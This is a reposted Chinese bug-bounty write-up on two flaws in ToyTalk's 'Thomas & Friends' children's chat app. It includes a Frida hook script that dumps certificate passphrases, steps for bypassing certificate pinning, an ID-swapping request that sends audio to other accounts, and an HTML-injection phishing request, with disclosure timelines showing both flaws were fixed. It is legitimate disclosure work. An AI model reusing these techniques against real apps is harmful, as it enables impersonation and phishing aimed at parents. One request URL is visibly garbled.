首頁 >運維 >安全 >發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

WBOY
WBOY轉載
2023-05-19 18:31:491464瀏覽

漏洞發現背景

ToyTalk是一家由皮克斯前高階主管創建的人工智慧玩具新創公司,它們設計的智慧玩具具有視覺追蹤、語音辨識和網路擴充功能,讓兒童透過APP與玩具之間進行語音交流和行為反應識別,激發兒童與虛擬人物的談話能力,更好地實現與玩具之間的互動樂趣。

ToyTalk於2015年7月推出了一款名為“托馬斯和他的朋友們與你聊天”(Thomas & Friends Talk To You)”的付費APP,能讓兒童與知名卡通人物“小火車托馬斯」(Thomas the Tank Engine)互動聊天,它允許兒童在8 次多多島故事之旅中,與托馬斯及其朋友培西、高登、亨利、詹姆斯、愛德華、托比、“胖總管”托芬海先生(Sir Topham Hatt)進行雙向對話。

為了測試ToyTalk玩具產品的安全性,以及接入家庭網路環境帶來的安全風險,我決定對「托馬斯和他的朋友們與你聊天」APP進行一些分析研究。由於ToyTalk產品都使用相同的程式碼庫,而且這款托馬斯對話APP很容易安裝和刪除,方便測試,也能有代表性。另外,ToyTalk的其它產品,如Hello Barbie(哈囉芭比)和Barbie Hello Dreamhouse (芭比夢幻之家)也可能有相同漏洞。

漏洞情況

漏洞1: - 缺乏身分驗證機制,攻擊者能輕易地假冒成一個兒童與托馬斯玩具進行對話

#漏洞2:- 可假冒support@toytalk.com或其它註冊用戶,發送注入HTML惡意釣魚鏈接的郵件

#APP工作原理分析

「托馬斯和他的朋友與你聊天」的APP啟動後,請輸入提供一個家長的電子郵件地址,以確認使用APP提供的語音辨識功能,當提交了電子郵件地址之後,APP進入運行介面。

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

剛開始,你可能會覺得該APP暴露的攻擊面非常有限,因為它需要提供與玩具對話的確認權限。

接下來,我要對該APP進行網絡瀏覽攔截分析。而且在分析中發現,該APP與其它應用不同,它提供了一個與客戶端進行認證的證書,也就是說,APP和它的WEB伺服器之間也會存在一個相互認證的過程。基於此,我們要先來看看客戶端證書和相關密碼驗證的工作機制。

#透過逆向後我們發現,以下兩個函數比較有趣:

public void setSslClientCertificate(String filename, String passphrase) {
        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("PKCS12");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mClientCertificate = KeyManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mClientCertificate.init(store, new char[0]);
        } catch (Exception e) {
            Log.OMG(e);
         } finally {
            Utils.close(file);
        }
    }
public void setSslCaCertificate(String filename, String passphrase) {

        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("BKS");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mCaCertificate = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mCaCertificate.init(store);
        } catch (Exception e) {
            Log.OMG(e);
        } finally {
            Utils.close(file);
        }
    }

之後,我沒有繼續逆向尋找密碼傳入函數,而是使用以下具備frida hook功能,可以轉儲密碼和檔案名稱的Python腳本來深入:

import frida
import sys
def on_message(message, data):
    print message
device = frida.get_device_manager().enumerate_devices()[-1]
pid = device.spawn(["com.toytalk.thomas"])
print (pid)
session = device.attach(pid)
ss = '''
 Java.perform(function () {
    var MyClass = Java.use("com.toytalk.library.HttpRequester");
    MyClass.setSslCaCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
    MyClass.setSslClientCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
})
'''    
script = session.create_script(ss)
script.load()
script.on('message', on_message)
device.resume(pid)
#session.detach()
sys.stdin.read()

高興的是,可以從apk中提取出正確的認證證書文件,並能用於執​​行中間人攻擊(MITM),而有趣的是,文件toytalk.12沒有使用任何密碼保護。

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

現在可以使用客戶端證書,但仍需要繞過證書鎖定機制。儘管有多種實作方式,但最簡單的方法是刪掉apk中的證書,重新建構程序,再重新安裝。把客戶端憑證匯入Burpsuite,實現了憑證鎖定功能停用,之後,我們就可以進入大多數APP程式測試的第一步-流量攔截。

漏洞分析

漏洞1 - 缺乏身份驗證機制

該APP程式也提供了一個不太明顯的功能,就是其捕獲的對話音訊檔案會儲存在線,可備家長後續進行重播收聽,該功能與用於先前授權同意的電子郵件地址綁定,雖然該郵箱地址只在父母執行密碼重置時才用得到。

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

當"speak" 按鈕被按下時,APP會把捕獲的音訊檔案以以下POST請求方式發送到遠端Web伺服器中:

https://asr.2.toytalk.com/v3/asr/0673bcb8-367a-44bc-aed5-8c21fb7086af/thomas/1502714441?account=<removedvedved&cli; =com.toytalk。 -cba9-4a76-a56b-51fc3d15f8f5&rate=16000 

虽然其中的发送内容涉及很多变量值,但通过把当前用户ID更改为其它用户ID后,就能把音频文件发送到指定的用户账户名下,这将会允许一些恶意攻击者向儿童父母发送一些淫秽音频信息。

在这种情况下,虽然用户ID是一个随机的全局惟一标识符(GUID),但我们可以根据邮箱地址等已知线索来发现一些有效的用户ID信息。

此外,通过在ToyTalk代码库上运行“strings”命令,我们也可以找到一些线索:

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

所以,根据上图信息,一旦客户端证书被安装到浏览器中后,通过访问地址:

https://api.toytalk.com/v3/account/

就能下载到一个包含用户ID的文件。有用户ID信息在手,就能更改POST请求中的ID信息,将对话音频发送到任何注册了该APP的邮箱地址中去。修复该漏洞的方法是要求提供正确的设备ID和相关联的用户ID。我们还没测试设备ID是否能以其它方法获取,但要向某个用户账号添加一个设备ID,貌似需要访问到关联的邮箱地址才行。

漏洞报送进程

2017.8.14 -  向ToyTalk报告漏洞

2017.11.16 - 被分类为一般漏洞并被初次修复,变为closed状态

2017.11.29 - ToyTalk再次测试发现漏洞仍然存在,并重置为reopen状态

2017.12.8  - 完全修复漏洞

2017.12.18 - 漏洞赏金发放并关闭漏洞报告

漏洞2 - 可向ToyTalk邮件中注入恶意HTML框架

几天过后,我的朋友建议我学习一下ToyTalk的邮箱注入机制,这是在提交漏洞1后发生的。在使用诸如“Thomas And You”等APP应用注册设备时,它会将一封电子邮件发送到用户提供的邮箱地址中, 由于该电子邮件中包含了用户信息(设备名称),如果攻击者利用漏洞1方法获取到受害者的用户ID之后,那么,接下来可以修改电子邮件HTML中包含的设备名称,以该受害者用户ID为可信发件人,向其它受害者发送恶意钓鱼邮件,或任意更改过的邮件内容。

为了向受害者发送钓鱼邮件,攻击者先要用邮箱在该APP上进行注册,利用该注册邮箱地址,再用漏洞1方法获取到受害者用户ID,用以后续进行钓鱼邮件发送。

也即,首先,攻击者用受害者注册过的邮箱地址,执行以下请求,以获取到相应的受害者用户ID:

GET /v3/account/<email> HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close</email>

然后,再以该用户ID为可信发件人,用以下POST方式,向其它受害者发送包含钓鱼链接的恶意邮件内容:

POST /v3/account/<accountid>/email/consent?device_id=asdf&device_name=TEST%20DEVICE"%20<a>click%20here</a>&application=Thomas+And+You&always HTTP/1.1
Content-Type: text/plain
Content-Length: 0
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close</accountid>

以上只是一个简单的PoC示例,它利用标签将HTML链接注入到邮件内容框架中,但如果花时间调整,也可以精心制作出一个更具迷惑性的钓鱼邮件来,例如,某位家长可以假冒support@toytalk.com邮件来欺骗其它家长的用户名密码信息。以下邮件内容包含钓鱼链接,是我们冒充toytalk官方发送的:

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

漏洞报送进程:

2017.12.4 - 提交漏洞

2017.12.12 - 官方致谢

2017.12.18 - 官方修复漏洞

2017.12.18 - 发布赏金并关闭漏洞报告

整体来说,两个漏洞的利用方式都存在一定的受限条件,但也侧面说明了大量APP在开发过程中忽视了全面的安全考虑。

以上是發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除